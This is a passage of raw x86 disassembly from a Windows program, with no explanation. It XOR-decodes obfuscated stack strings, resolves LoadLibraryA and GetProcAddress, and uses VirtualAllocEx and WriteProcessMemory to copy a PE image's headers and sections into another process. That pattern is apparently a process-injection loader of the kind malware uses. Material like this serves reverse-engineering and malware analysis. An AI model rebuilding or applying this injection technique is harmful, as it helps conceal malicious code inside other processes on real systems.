mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x19bd5360
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov edx, dword [ebp - 0xe4]
mov ecx, eax
push dword [edx + 0x50]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x6c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], 1
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xc517ced9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0x695895ff
mov dword [ebp - 0x1c], 0xa7e0ddaa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x1297f515
mov dword [ebp - 0x1c], 0x9d63f089
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x61f54300
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov edx, dword [ebp - 0xe4]
mov ecx, eax
push dword [edx + 0x50]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xc517ced9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x20], 0x695895ff
mov dword [ebp - 0x1c], 0xb1d0cbaa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0x20], 0x1593f735
mov dword [ebp - 0x1c], 0x9940ffa4
lea edx, [ebp - 0xc0]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x41e01252
mov dword [ebp - 0x1c], 0xf5f7295a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
push 1
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xc517ced9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x20], 0x695895ff
mov dword [ebp - 0x1c], 0xb5d1dfaa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0x20], 0x384e002
mov dword [ebp - 0x1c], 0x8a71c1af
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x20], 0x51ad1e41
mov dword [ebp - 0x1c], 0xf5f75112
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
push 0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xc517ced9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x20], 0x695895ff
mov dword [ebp - 0x1c], 0x8ef1feaa
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0x20], 0x1682e734
mov dword [ebp - 0x1c], 0xd864e3a4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x20], 0x618d0b10
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
movaps xmm1, xmmword [ebp - 0xc0]
lea edx, [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
push 0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [ebp - 0xf4]
push 0
push 0x1000
push dword [ebp - 0x15c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40a09b
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 5
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6af
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 6
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 7
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40d793
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xfc12d0ca
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0x2b44acfb
mov dword [ebp - 0x1c], 0xb5c7c8f7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x99ff72a
mov dword [ebp - 0x1c], 0x9930e8b9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x41cd5354
mov dword [ebp - 0x1c], 0xf5f7295a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov edx, dword [ebp - 0xe4]
mov ecx, eax
push dword [edx + 0x50]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [ebp - 0xe4]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
movzx eax, word [edx + 0x14]
lea esi, [edx + 0x18]
add esi, eax
mov dword [ebp - 0x19c], esi
cmp word [edx + 6], cx
je 0x40a261
mov eax, dword [esi + 0x10]
test eax, eax
je 0x40a24c
push 0
push eax
mov eax, dword [esi + 0x14]
add eax, dword [ebp - 0x15c]
push eax
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0xf4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40a61e
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx + 6]
inc ecx
add esi, 0x28
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x19c], esi
cmp ecx, eax
jne 0x40a216
push 4
push 0x3000
push 0x1c
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xe717cedc
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xbc], edx
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0x2d429dfd
mov dword [ebp - 0x1c], 0xab94cafa
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x149dff02
mov dword [ebp - 0x1c], 0x9163b1b2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x21ad165a
mov dword [ebp - 0x1c], 0xf58f614a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
push 0x1c
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [ebp - 0x154], 0
jne 0x40a862
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6ad
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0xd
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
